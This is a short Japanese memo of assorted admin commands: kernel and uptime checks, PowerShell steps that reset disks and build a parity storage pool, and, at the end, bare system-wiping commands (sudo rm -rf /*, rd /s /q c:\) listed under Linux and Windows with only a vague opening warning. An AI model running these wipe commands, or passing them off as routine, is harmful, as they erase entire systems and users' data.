記事にするやる気が出ないコマンドや覚書が積み上げられている...
記事になっているコマンドより危険度が高いようだ。"規則"を鵜吞みにしない方がいい...
カーネルバージョン確認
uname -a
アップタイム確認
uptime
PowerShell
ダイナミックディスクに変換、diskpart clean
Reset-PhysicalDisk 'MANUF MODEL000'
$PhysicalDisks = (Get-PhysicalDisk -CanPool $True)
New-StoragePool -FriendlyName "Stor" -StorageSubsystemFriendlyName "Windows Storage*" -PhysicalDisks $PhysicalDisks
Set-StoragePool -FriendlyName "Stor" -IsPowerProtected $True
New-VirtualDisk -StoragePoolFriendlyName "Stor" -FriendlyName "Vdsk" -ResiliencySettingName Parity -UseMaximumSize -ProvisioningType Fixed -PhysicalDisksToUse $PhysicalDisks -WriteCacheSize 0
メモ
普通にコントロールパネルや「設定」から構築したほうが安全で快適で速い
ただしdiskpart cleanとReset-PhysicalDiskは使う
Linux
sudo rm -rf /*
Windows
rd /s /q c:\
または
sudo rd /s /q c:\